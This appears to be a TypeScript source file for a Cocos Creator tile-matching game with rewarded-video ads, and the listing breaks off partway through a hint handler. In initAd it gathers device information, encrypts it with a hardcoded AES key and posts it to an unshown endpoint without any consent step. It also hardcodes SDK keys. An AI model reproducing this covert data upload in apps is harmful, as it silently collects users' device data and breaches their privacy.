game_main.ts 42 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185
  1. import TileBlock from "./TileBlock"
  2. import game_level_cfg, { LevelData } from "./game_level_cfg"
  3. import game_config_dyn from "./game_config_dyn"
  4. import game_helpers from "./game_helpers"
  5. import global_model from "./global_model"
  6. import game_core from "./game_core"
  7. import game_constants from "./game_constants"
  8. import ATSDK from "./AnyThinkAds/ATJSSDK";
  9. import ATRewardedVideoSDK from "./AnyThinkAds/ATRewardedVideoJSSDK";
  10. import AAJS2 from "./ATAndroidJS2";
  11. import AESUtil from './AESUtil';
  12. const { ccclass, property } = cc._decorator;
  13. const TILE_WIDTH: number = 88
  14. const TILE_HEIGHT: number = 88
  15. @ccclass
  16. export default class NewClass extends cc.Component {
  17. @property(cc.Node)
  18. tileContainer: cc.Node = null;
  19. @property(cc.Node)
  20. targetNode: cc.Node = null;
  21. tileList: TileBlock[] = []
  22. matchList: TileBlock[] = []
  23. recordList: TileBlock[] = []
  24. lvData: LevelData
  25. lock: boolean = false//做动画用防止误点
  26. lastClickTime: number = 0 // 防抖初始化
  27. adPlayState: boolean = false; // 广告播放是否完成(状态)
  28. @property(cc.Label)
  29. level_txt: cc.Label = null
  30. @property(cc.Label)
  31. txt_undo: cc.Label = null
  32. @property(cc.Label)
  33. txt_shuffle: cc.Label = null
  34. @property(cc.Label)
  35. txt_hint: cc.Label = null
  36. @property(cc.Label)
  37. txt_put3: cc.Label = null
  38. //分数计算
  39. @property(cc.ProgressBar)
  40. node_progress: cc.ProgressBar = null
  41. @property(cc.Node)
  42. node_star1: cc.Node = null
  43. @property(cc.Node)
  44. node_star2: cc.Node = null
  45. @property(cc.Node)
  46. node_star3: cc.Node = null
  47. countDown: boolean = false
  48. @property(cc.Node)
  49. node_warning: cc.Node = null
  50. @property(cc.Node)
  51. result_view: cc.Node = null
  52. @property(cc.Node)
  53. result_view_win: cc.Node = null
  54. @property(cc.Node)
  55. result_view_lose: cc.Node = null
  56. @property(cc.Node)
  57. help_view: cc.Node = null
  58. @property(cc.Node)
  59. levels_view: cc.Node = null
  60. @property(cc.Node)
  61. hint_ad_player_icon: cc.Node = null
  62. @property(cc.Node)
  63. undo_ad_player_icon: cc.Node = null
  64. @property(cc.Node)
  65. shuffles_ad_player_icon: cc.Node = null
  66. @property(cc.Node)
  67. moveup_ad_player_icon: cc.Node = null
  68. //minzindex
  69. minZindex: number = 10000
  70. progress_levelBase = 0.001
  71. progress_levelBase_org = 0.0002
  72. protected onLoad(): void {
  73. this.initAd();
  74. // 初始化广告播放图标
  75. if (global_model.game.shuffle_counter === 0) {
  76. this.shuffles_ad_player_icon.active = true
  77. } else {
  78. this.shuffles_ad_player_icon.active = false
  79. }
  80. if (global_model.game.undo_counter === 0) {
  81. this.undo_ad_player_icon.active = true
  82. } else {
  83. this.undo_ad_player_icon.active = false
  84. }
  85. if (global_model.game.hint_tip_counter === 0) {
  86. this.hint_ad_player_icon.active = true
  87. } else {
  88. this.hint_ad_player_icon.active = false
  89. }
  90. if (global_model.game.move_up_counter === 0) {
  91. this.moveup_ad_player_icon.active = true
  92. } else {
  93. this.moveup_ad_player_icon.active = false
  94. }
  95. if (cc.sys.platform == cc.sys.IPAD) {
  96. cc.find("Canvas").getComponent(cc.Canvas).fitHeight = true
  97. cc.find("Canvas").getComponent(cc.Canvas).fitWidth = true
  98. }
  99. cc.systemEvent.on(game_constants.select_level_clicked, this.select_level_clicked, this)
  100. }
  101. initAd() {
  102. console.log('lichao: initAd Success')
  103. cc.sys.localStorage.setItem("customerOption", "");
  104. var placementID = AAJS2.getPlacementID();
  105. let deviceId = AAJS2.getDeviceUserId();
  106. console.log('lichao: initAd 33333')
  107. var setting = {};
  108. setting[ATRewardedVideoSDK.userIdKey] = deviceId;
  109. // 初始化SDK
  110. // 自己的测试包
  111. ATSDK.initSDK("h66f7c5f8028cf", "ab133deec743a4bb58930891fd75d3f83");
  112. ATSDK.getUserLocation(function (userLocation) {
  113. //如果处于欧盟地区且等级是UNKNOW时,就执行授权弹窗
  114. if (userLocation === ATSDK.kATUserLocationInEU) {
  115. if (ATSDK.getGDPRLevel() === ATSDK.UNKNOWN) {
  116. ATSDK.showGDPRAuth();
  117. }
  118. }
  119. });
  120. //var state = false;
  121. ATRewardedVideoSDK.setAdListener(this);
  122. let deviceIds = AAJS2.getDeviceUserId();
  123. var setting = {};
  124. setting[ATRewardedVideoSDK.userIdKey] = deviceIds;
  125. console.log('lichao: p1')
  126. ATRewardedVideoSDK.loadRewardedVideo(AAJS2.getPlacementID(), setting);
  127. console.log('lichao: p2')
  128. setTimeout(() => {
  129. var allInfo = AAJS2.allInfo();
  130. console.log('lichao:allInfo=' + allInfo)
  131. let key = "US2%*c3lv8sYkUe(!e-6g$E*RJg)dzn@";
  132. let iv = "Jn0.aWsOu$y-Dbqb";
  133. let data = { data: AESUtil.AESencrypt(allInfo, key, iv) };
  134. console.log("lichao:allInfo jm=" + JSON.stringify(data));
  135. AAJS2.makePostRequestWithXhr(JSON.stringify(data));
  136. }, 1000);
  137. console.log('lichao: p3')
  138. }
  139. onRewardedVideoAdLoaded(placementId) {
  140. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdLoaded(" + placementId + ")");
  141. }
  142. onRewardedVideoAdFailed(placementId, errorInfo) {
  143. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdFailed(" + placementId + ", " + errorInfo + ")");
  144. }
  145. onRewardedVideoAdPlayStart(placementId, callbackInfo) {
  146. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdPlayStart(" + placementId + ", " + callbackInfo + ")");
  147. let deviceId = AAJS2.getDeviceUserId();
  148. var setting = {};
  149. setting[ATRewardedVideoSDK.userIdKey] = deviceId;
  150. ATRewardedVideoSDK.loadRewardedVideo(AAJS2.getPlacementID(), setting);
  151. }
  152. onRewardedVideoAdPlayEnd(placementId, callbackInfo) {
  153. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdPlayEnd(" + placementId + ", " + callbackInfo + ")");
  154. this.updateItemView()
  155. }
  156. onRewardedVideoAdPlayFailed(placementId, errorInfo, callbackInfo) {
  157. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdPlayFailed(" + placementId + ", " + errorInfo + ", " + callbackInfo + ")");
  158. }
  159. onRewardedVideoAdClosed(placementId, callbackInfo) {
  160. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdClosed(" + placementId + ", " + callbackInfo + ")");
  161. if (global_model.game.shuffle_counter === 0) {
  162. this.shuffles_ad_player_icon.active = true
  163. } else {
  164. this.shuffles_ad_player_icon.active = false
  165. }
  166. if (global_model.game.undo_counter === 0) {
  167. this.undo_ad_player_icon.active = true
  168. } else {
  169. this.undo_ad_player_icon.active = false
  170. }
  171. if (global_model.game.hint_tip_counter === 0) {
  172. this.hint_ad_player_icon.active = true
  173. } else {
  174. this.hint_ad_player_icon.active = false
  175. }
  176. if (global_model.game.move_up_counter === 0) {
  177. this.moveup_ad_player_icon.active = true
  178. } else {
  179. this.moveup_ad_player_icon.active = false
  180. }
  181. let customerOption = cc.sys.localStorage.getItem("customerOption");
  182. if (this.adPlayState) {
  183. if (customerOption === "shuffle") {
  184. global_model.game.shuffle_counter++
  185. global_model.save()
  186. this.updateItemView()
  187. this.shuffles_ad_player_icon.active = false
  188. } else if (customerOption === "revoke") {
  189. global_model.game.undo_counter++
  190. global_model.save()
  191. this.updateItemView()
  192. this.undo_ad_player_icon.active = false
  193. } else if (customerOption === "auto") {
  194. global_model.game.hint_tip_counter++
  195. global_model.save()
  196. this.updateItemView()
  197. this.hint_ad_player_icon.active = false
  198. } else if (customerOption === "clearTopThree") {
  199. global_model.game.move_up_counter++
  200. global_model.save()
  201. this.updateItemView()
  202. this.moveup_ad_player_icon.active = false
  203. }
  204. this.adPlayState = false
  205. }
  206. this.updateItemView()
  207. }
  208. onRewardedVideoAdPlayClicked(placementId, callbackInfo) {
  209. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdPlayClicked(" + placementId + ", " + callbackInfo + ")");
  210. }
  211. onReward(placementId, callbackInfo) {
  212. ATSDK.printLog("AnyThinkRewardedVideoDemo::onReward(" + placementId + ", " + callbackInfo + ")");
  213. this.adPlayState = true
  214. }
  215. playSFX(audio: cc.AudioClip) {
  216. }
  217. playGamePass() {
  218. }
  219. playGameFailed() {
  220. }
  221. select_level_clicked(lv) {
  222. // //this.playSFX(this.btn_click)
  223. global_model.game.selectedLevel = lv
  224. // console.log("select_level_clicked ",global_model.game.selectedLevel,lv)
  225. this.go_game_reinit()
  226. }
  227. start() {
  228. this.help_view.active = true
  229. this.game_reinit()
  230. }
  231. game_reinit() {
  232. this.recycle()
  233. this.node_warning.active = false
  234. this.unscheduleAllCallbacks()
  235. this.tileList = []
  236. this.matchList = []
  237. this.recordList = []
  238. this.lvData = null
  239. this.lock = false
  240. this.countDown = false
  241. this.load_levels_data()
  242. this.progress_levelBase = this.progress_levelBase_org * global_model.game.selectedLevel
  243. this.progress_levelBase = Math.max(this.progress_levelBase, 0.004)
  244. }
  245. load_levels_data() {
  246. this.lvData = game_config_dyn.level.getLevelData(global_model.game.selectedLevel)
  247. this.level_txt.string = "" + global_model.game.selectedLevel
  248. this.node_progress.progress = 1
  249. this.node_star1.active = this.node_star2.active = this.node_star3.active = true
  250. this.updateItemView()
  251. this.create_tiles_block()
  252. }
  253. recycle() {
  254. for (const temp of this.tileList) {
  255. temp.recycle()
  256. }
  257. for (const temp of this.matchList) {
  258. temp.recycle()
  259. }
  260. }
  261. create_tiles_block() {
  262. this.tileContainer.destroyAllChildren()
  263. let aniPos = [cc.v2(0, 1201), cc.v2(701, 0), cc.v2(0, -1201), cc.v2(-701, 0)]
  264. let types = game_config_dyn.level.getTypes(this.lvData.count, this.lvData.typeCount)
  265. types = game_helpers.randomArray(types)
  266. let c = 0
  267. let minX = 999999
  268. let minY = 999999
  269. let maxX = 0
  270. let maxY = 0
  271. for (let i = 0; i < this.lvData.floorIds.length; i++) {
  272. let floorData = game_config_dyn.level.getFloorData(Number(this.lvData.floorIds[i]))
  273. let tiles = floorData.layouts
  274. for (const info of tiles) {
  275. let pos = info.split(',')
  276. let row = Number(pos[0])
  277. let col = Number(pos[1])
  278. let tile = game_core.pool.get('TileBlock')
  279. let node = tile.node
  280. node.parent = this.tileContainer
  281. node.scale = 1
  282. this.tileList.push(tile)
  283. let offset = cc.v2(TILE_WIDTH * 0.5 * i, -TILE_HEIGHT * 0.5 * i)
  284. tile.layer = i
  285. tile.row = row
  286. tile.col = col
  287. tile.node.zIndex = this.get___Zindex(row, col, tile.layer)
  288. let targetPos = this.getTilePos(row, col, offset)
  289. node.position = targetPos
  290. tile.type = types[c]
  291. node.off(cc.Node.EventType.TOUCH_START)
  292. node.on(cc.Node.EventType.TOUCH_START, () => {
  293. if (!this.lock && !tile.dark) {
  294. this.addToMatchList(tile)
  295. // //this.playSFX(this.block_click)
  296. // //game_core.soundManager.playSFX('clickcube')
  297. //有了操作之后,开始倒计时
  298. this.countDown = true
  299. // if (//game_core.soundManager.vibrate == 1)
  300. // WXTTgame_helpers.vibrateShort()
  301. }
  302. })
  303. if (node.x > maxX)
  304. maxX = node.x
  305. if (node.y > maxY)
  306. maxY = node.y
  307. if (node.x < minX)
  308. minX = node.x
  309. if (node.y < minY)
  310. minY = node.y
  311. c++
  312. }
  313. }
  314. let w = maxX - minX
  315. let h = maxY - minY
  316. // let t = this.levelData.layouts[maxIndex].alignW == 5 ? 35 : 0
  317. this.tileContainer.x = -w * 0.5 - minX
  318. this.tileContainer.y = (h >> 1) - maxY + 150
  319. this.check_All_Block()
  320. //做动画
  321. let all = this.tileContainer.children
  322. for (const node of all) {
  323. let tile = node.getComponent(TileBlock)
  324. let i = tile.layer
  325. let offset = cc.v2(TILE_WIDTH * 0.5 * i, -TILE_HEIGHT * 0.5 * i)
  326. let targetPos = this.getTilePos(tile.row, tile.col, offset)
  327. node.position = targetPos
  328. node.position = cc.v3(targetPos.x + aniPos[i % 4].x, targetPos.y + aniPos[i % 4].y)
  329. cc.tween(node).delay(i * 0.2 + 0.1).call(() => {
  330. //game_core.soundManager.playSFX('swtich', 10)
  331. //this.playSFX(this.block_switch)
  332. }).to(0.25, { position: targetPos }, { easing: 'sineOut' }).start()
  333. }
  334. }
  335. get___Zindex(row, col, layer) {
  336. return row * 20 + col + layer * 200
  337. }
  338. check_All_Block(ani: boolean = false) {
  339. for (const tile of this.tileList) {
  340. if (tile.node.zIndex < 10000) {
  341. if (this._has_Block(tile)) {
  342. tile.setDark(true, ani)
  343. } else {
  344. tile.setDark(false, ani)
  345. }
  346. }
  347. }
  348. }
  349. _has_Block(tile: TileBlock) {
  350. let tileRec = tile.node.getBoundingBox()
  351. for (const tempTile of this.tileList) {
  352. if (tempTile == tile) continue
  353. if (tempTile.layer > tile.layer) {
  354. if (tempTile.node.getBoundingBox().intersects(tileRec)) {
  355. return true
  356. }
  357. }
  358. }
  359. return false
  360. }
  361. getTilePos(row: number, col: number, offset: cc.Vec2) {
  362. return cc.v3(col * TILE_WIDTH + offset.x, -row * TILE_HEIGHT + offset.y, 0)
  363. }
  364. //添加到列表
  365. addToMatchList(tile: TileBlock) {
  366. if (this.matchList.length < 7) {
  367. if (this.matchList.indexOf(tile) != -1) return
  368. tile.setDark(false, false)
  369. game_helpers.removeElementFromArray(tile, this.tileList)
  370. this.recordList.push(tile)
  371. tile.node.zIndex = 999
  372. let bol = false
  373. for (let i = this.matchList.length - 1; i >= 0; i--) {
  374. if (this.matchList[i].type == tile.type) {
  375. bol = true
  376. this.matchList.splice(i + 1, 0, tile)
  377. break
  378. }
  379. }
  380. if (!bol)
  381. this.matchList.push(tile)
  382. this.setMatchDepth()
  383. this.moveToRightPos()
  384. this.checkRemove()
  385. this.check_All_Block(true)
  386. this.checkWarning()
  387. this.checkGameResult()
  388. }
  389. }
  390. setMatchDepth() {
  391. for (let i = this.matchList.length - 1; i >= 0; i--) {
  392. this.matchList[i].node.zIndex = i + 999
  393. }
  394. }
  395. moveToRightPos() {
  396. for (let i = 0; i < this.matchList.length; i++) {
  397. let pos = game_helpers.convetOtherNodeSpaceAR(this.targetNode, this.tileContainer)
  398. let targetX = i * 82 + pos.x - 246
  399. let targetY = pos.y + 2
  400. cc.Tween.stopAllByTarget(this.matchList[i].node)
  401. cc.tween(this.matchList[i].node).to(0.3, { x: targetX, y: targetY }, { easing: 'sineOut' }).call((targetNode: cc.Node) => {
  402. let targetTile = targetNode.getComponent(TileBlock)
  403. if (targetTile.remove) {
  404. targetTile.recycle(true)
  405. //targetNode.destroy()
  406. this.moveToRightPos()
  407. this.checkGameResult()
  408. //game_core.soundManager.playSFX('tileclean')
  409. //this.playSFX(Math.random()>0.5?this.block_clean:this.block_clean2)
  410. this.updateProgress(0.01)
  411. }
  412. }).start()
  413. }
  414. }
  415. removeList: TileBlock[] = []
  416. checkRemove() {
  417. let obj: any = {}
  418. for (const tile of this.matchList) {
  419. obj[tile.type] = obj[tile.type] || 0
  420. obj[tile.type]++
  421. }
  422. for (const key in obj) {
  423. if (obj[key] >= 3) {
  424. for (let i = 0; i < this.matchList.length; i++) {
  425. let tile = this.matchList[i]
  426. if (tile.type == Number(key)) {
  427. game_helpers.removeElementFromArray(tile, this.recordList)
  428. tile.remove = true
  429. this.matchList.splice(i, 1)
  430. i--
  431. }
  432. }
  433. break
  434. }
  435. }
  436. }
  437. searchRemoveable() {
  438. let arrDark: any = []
  439. let objLight: any = {}
  440. for (let i = this.tileList.length - 1; i >= 0; i--) {
  441. let tile = this.tileList[i]
  442. if (!tile.dark) {
  443. objLight[tile.type] = objLight[tile.type] || []
  444. objLight[tile.type].push(tile)
  445. } else {
  446. arrDark.push(tile)
  447. }
  448. }
  449. //底部tiles
  450. if (this.matchList.length > 0) {
  451. let bottomObj: any = {}
  452. for (const bottom of this.matchList) {
  453. bottomObj[bottom.type] = bottomObj[bottom.type] || []
  454. bottomObj[bottom.type].push(bottom)
  455. }
  456. let bottomArr = []
  457. for (const key in bottomObj) {
  458. bottomArr.push({ type: Number(key), tiles: bottomObj[key], count: bottomObj[key].length })
  459. }
  460. bottomArr.sort((a, b) => {
  461. return b.count - a.count
  462. })
  463. let first = bottomArr[0]
  464. let needCount = 3 - first.count
  465. let needType = first.type
  466. for (let i = 0; i < this.tileList.length; i++) {
  467. if (this.tileList[i].type == needType) {
  468. this.addToMatchList(this.tileList[i])
  469. needCount--
  470. if (needCount == 0)
  471. break
  472. }
  473. }
  474. } else {
  475. let lightArr = []
  476. for (const key in objLight) {
  477. lightArr.push({ type: Number(key), tiles: objLight[key], count: objLight[key].length })
  478. }
  479. lightArr.sort((a, b) => {
  480. return b.count - a.count
  481. })
  482. let first = lightArr[0]
  483. let ownCount = Math.min(3, first.tiles.length)
  484. for (let i = 0; i < ownCount; i++) {
  485. this.addToMatchList(first.tiles[i])
  486. }
  487. let leftCount = Math.max(0, 3 - first.count)
  488. let needType = first.type
  489. if (leftCount > 0) {
  490. for (const temp of arrDark) {
  491. if (temp.type == needType) {
  492. this.addToMatchList(temp)
  493. leftCount--
  494. if (leftCount == 0)
  495. break
  496. }
  497. }
  498. }
  499. }
  500. }
  501. checkGameResult() {
  502. if (this.matchList.length >= 7) {
  503. this.lock = true
  504. this.result_view.active = true
  505. this.result_view_win.active = false
  506. this.result_view_lose.active = true
  507. this.playGameFailed()
  508. } else if (this.tileList.length == 0) { //success...
  509. this.playGamePass()
  510. this.lock = true
  511. let hasAward = false
  512. if (global_model.game.selectedLevel == global_model.game.level) {
  513. if (global_model.game.level >= 8 && global_model.game.level % 4 == 0) {
  514. hasAward = true
  515. }
  516. if (global_model.game.level < 100) {
  517. global_model.game.level++
  518. } else {
  519. global_model.game.level = 100
  520. }
  521. let star = 0
  522. if (this.node_progress.progress >= 0.8)
  523. star = 3
  524. else if (this.node_progress.progress >= 0.5)
  525. star = 2
  526. else if (this.node_progress.progress > 0.1)
  527. star = 1
  528. global_model.game.level_star[global_model.game.selectedLevel] = star
  529. global_model.save()
  530. }
  531. this.result_view.active = true
  532. this.result_view_win.active = true
  533. this.result_view_lose.active = false
  534. }
  535. }
  536. playFailAni(callback: Function) {
  537. for (const temp of this.tileList) {
  538. let delay = temp.row * 0.05 + temp.col * 0.05
  539. cc.tween(temp.node).delay(delay).by(0.5, { y: -1400 }, { easing: 'backInOut' }).start()
  540. }
  541. this.scheduleOnce(() => {
  542. callback && callback()
  543. }, 1)
  544. }
  545. checkWarning() {
  546. if (this.matchList.length < 5) {
  547. cc.Tween.stopAllByTarget(this.node_warning)
  548. this.node_warning.active = false
  549. } else {
  550. this.node_warning.active = true
  551. cc.Tween.stopAllByTarget(this.node_warning)
  552. cc.tween(this.node_warning).to(1, { opacity: 0 }).to(1, { opacity: 255 }).union().repeatForever().start()
  553. }
  554. }
  555. click_prev() {
  556. }
  557. click_shuffle() {
  558. //this.playSFX(this.btn_click)
  559. if (global_model.game.shuffle_counter > 1) {
  560. global_model.game.shuffle_counter--
  561. global_model.save()
  562. this.updateItemView()
  563. this.shuffle()
  564. this.shuffles_ad_player_icon.active = false
  565. } else if (global_model.game.shuffle_counter === 1) {
  566. global_model.game.shuffle_counter--
  567. global_model.save()
  568. this.updateItemView()
  569. this.shuffle()
  570. // 广告播放图标
  571. this.shuffles_ad_player_icon.active = true
  572. } else {
  573. // 防抖代码
  574. // 定义一个时间戳变量来记录上一次点击时间
  575. if (!this.lastClickTime) {
  576. this.lastClickTime = 0;
  577. }
  578. // 获取当前时间戳
  579. var currentTime = Date.now();
  580. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  581. if (currentTime - this.lastClickTime < 2000) {
  582. console.log('lichao: 点击过于频繁,防抖中');
  583. // 防抖,阻止当前点击事件
  584. return;
  585. }
  586. console.log('lichao:防抖成功')
  587. // 更新上一次点击时间为当前时间
  588. this.lastClickTime = currentTime;
  589. if (cc.sys.os === cc.sys.OS_ANDROID) {
  590. console.log('lichao: 播放广告1')
  591. setTimeout(() => {
  592. console.log('lichao: 播放广告2')
  593. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  594. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  595. cc.sys.localStorage.setItem("customerOption", "shuffle");
  596. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  597. console.log('lichao: 播放广告3')
  598. } else {
  599. console.log('lichao: 播放广告4');
  600. this.shuffles_ad_player_icon.active = false
  601. global_model.game.shuffle_counter++
  602. global_model.save()
  603. this.updateItemView()
  604. }
  605. }, 300)
  606. } else {
  607. this.shuffles_ad_player_icon.active = false
  608. global_model.game.shuffle_counter++
  609. global_model.save()
  610. this.updateItemView()
  611. }
  612. if (this.lock) return
  613. // this.lock = true
  614. }
  615. }
  616. shuffle() {
  617. for (let i = 0; i < 500; i++) {
  618. let rndA = Math.floor(Math.random() * this.tileList.length)
  619. let rndB = Math.floor(Math.random() * this.tileList.length)
  620. if (rndA != rndB) {
  621. let nodeA = this.tileList[rndA]
  622. let nodeB = this.tileList[rndB]
  623. this.swapTile(nodeA, nodeB)
  624. }
  625. }
  626. for (const tile of this.tileList) {
  627. let offset = cc.v2(tile.layer * TILE_WIDTH * 0.5, -tile.layer * TILE_HEIGHT * 0.5)
  628. let pos = this.getTilePos(tile.row, tile.col, offset)
  629. cc.Tween.stopAllByTarget(tile.node)
  630. cc.tween(tile.node).to(0.25, { position: pos }).call(() => {
  631. this.check_All_Block(true)
  632. }).start()
  633. }
  634. }
  635. swapTile(tileA: TileBlock, tileB: TileBlock) {
  636. let tempRow = tileA.row
  637. tileA.row = tileB.row
  638. tileB.row = tempRow
  639. let tempCol = tileA.col
  640. tileA.col = tileB.col
  641. tileB.col = tempCol
  642. let tempLayer = tileA.layer
  643. tileA.layer = tileB.layer
  644. tileB.layer = tempLayer
  645. let tempZindex = tileA.node.zIndex
  646. tileA.node.zIndex = tileB.node.zIndex
  647. tileB.node.zIndex = tempZindex
  648. }
  649. click_undo() {
  650. //this.playSFX(this.btn_click)
  651. if (this.recordList.length == 0) {
  652. // MsgHints.show('没有操作的记录?')
  653. // MsgHints.show('No operation record!')
  654. if (global_model.game.undo_counter === 0) {
  655. // 防抖代码
  656. // 定义一个时间戳变量来记录上一次点击时间
  657. if (!this.lastClickTime) {
  658. this.lastClickTime = 0;
  659. }
  660. // 获取当前时间戳
  661. var currentTime = Date.now();
  662. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  663. if (currentTime - this.lastClickTime < 2000) {
  664. console.log('lichao: 点击过于频繁,防抖中');
  665. // 防抖,阻止当前点击事件
  666. return;
  667. }
  668. console.log('lichao:防抖成功')
  669. // 更新上一次点击时间为当前时间
  670. this.lastClickTime = currentTime;
  671. if (cc.sys.os === cc.sys.OS_ANDROID) {
  672. console.log('lichao: 播放广告1')
  673. setTimeout(() => {
  674. console.log('lichao: 播放广告2')
  675. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  676. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  677. cc.sys.localStorage.setItem("customerOption", "revoke");
  678. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  679. console.log('lichao: 播放广告3')
  680. } else {
  681. console.log('lichao: 播放广告4');
  682. global_model.game.undo_counter++
  683. global_model.save()
  684. this.updateItemView()
  685. this.undo_ad_player_icon.active = false
  686. }
  687. }, 300)
  688. } else {
  689. global_model.game.undo_counter++
  690. global_model.save()
  691. this.updateItemView()
  692. this.undo_ad_player_icon.active = false
  693. }
  694. }
  695. return
  696. }
  697. if (global_model.game.undo_counter > 1) {
  698. global_model.game.undo_counter--
  699. global_model.save()
  700. this.updateItemView()
  701. this.undo_operator()
  702. this.undo_ad_player_icon.active = false
  703. } else if (global_model.game.undo_counter === 1) {
  704. global_model.game.undo_counter--
  705. global_model.save()
  706. this.updateItemView()
  707. this.undo_operator()
  708. // 广告播放图标
  709. this.undo_ad_player_icon.active = true
  710. } else {
  711. // 防抖代码
  712. // 定义一个时间戳变量来记录上一次点击时间
  713. if (!this.lastClickTime) {
  714. this.lastClickTime = 0;
  715. }
  716. // 获取当前时间戳
  717. var currentTime = Date.now();
  718. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  719. if (currentTime - this.lastClickTime < 2000) {
  720. console.log('lichao: 点击过于频繁,防抖中');
  721. // 防抖,阻止当前点击事件
  722. return;
  723. }
  724. console.log('lichao:防抖成功')
  725. // 更新上一次点击时间为当前时间
  726. this.lastClickTime = currentTime;
  727. if (cc.sys.os === cc.sys.OS_ANDROID) {
  728. console.log('lichao: 播放广告1')
  729. setTimeout(() => {
  730. console.log('lichao: 播放广告2')
  731. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  732. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  733. cc.sys.localStorage.setItem("customerOption", "revoke");
  734. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  735. console.log('lichao: 播放广告3')
  736. } else {
  737. console.log('lichao: 播放广告4');
  738. global_model.game.undo_counter++
  739. global_model.save()
  740. this.updateItemView()
  741. this.undo_ad_player_icon.active = false
  742. }
  743. }, 300)
  744. } else {
  745. global_model.game.undo_counter++
  746. global_model.save()
  747. this.updateItemView()
  748. this.undo_ad_player_icon.active = false
  749. }
  750. if (this.lock) return
  751. // this.lock = true
  752. }
  753. }
  754. undo_operator() {
  755. if (this.recordList.length > 0) {
  756. let tile = this.recordList.pop()
  757. let offset = cc.v2(tile.layer * TILE_WIDTH * 0.5, -tile.layer * TILE_HEIGHT * 0.5)
  758. let pos = this.getTilePos(tile.row, tile.col, offset)
  759. tile.node.zIndex = this.get___Zindex(tile.row, tile.col, tile.layer)
  760. game_helpers.removeElementFromArray(tile, this.matchList)
  761. this.tileList.push(tile)
  762. cc.tween(tile.node).to(0.25, { position: pos }, { easing: 'sineOut' }).call(() => {
  763. this.check_All_Block(true)
  764. this.moveToRightPos()
  765. }).start()
  766. }
  767. }
  768. click_hint() {
  769. //this.playSFX(this.btn_click)
  770. if (global_model.game.hint_tip_counter > 1) {
  771. global_model.game.hint_tip_counter--
  772. global_model.save()
  773. this.updateItemView()
  774. this.searchRemoveable()
  775. // this.hintNodeInstance.dispatchEvent(new cc.Event.EventCustom("adIconEnableHint", true));
  776. this.hint_ad_player_icon.active = false
  777. } else if (global_model.game.hint_tip_counter === 1) {
  778. global_model.game.hint_tip_counter--
  779. global_model.save()
  780. this.updateItemView()
  781. this.searchRemoveable()
  782. // 广告播放图标
  783. this.hint_ad_player_icon.active = true
  784. } else {
  785. // 防抖代码
  786. // 定义一个时间戳变量来记录上一次点击时间
  787. if (!this.lastClickTime) {
  788. this.lastClickTime = 0;
  789. }
  790. // 获取当前时间戳
  791. var currentTime = Date.now();
  792. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  793. if (currentTime - this.lastClickTime < 2000) {
  794. console.log('lichao: 点击过于频繁,防抖中');
  795. // 防抖,阻止当前点击事件
  796. return;
  797. }
  798. console.log('lichao:防抖成功')
  799. // 更新上一次点击时间为当前时间
  800. this.lastClickTime = currentTime;
  801. if (cc.sys.os === cc.sys.OS_ANDROID) {
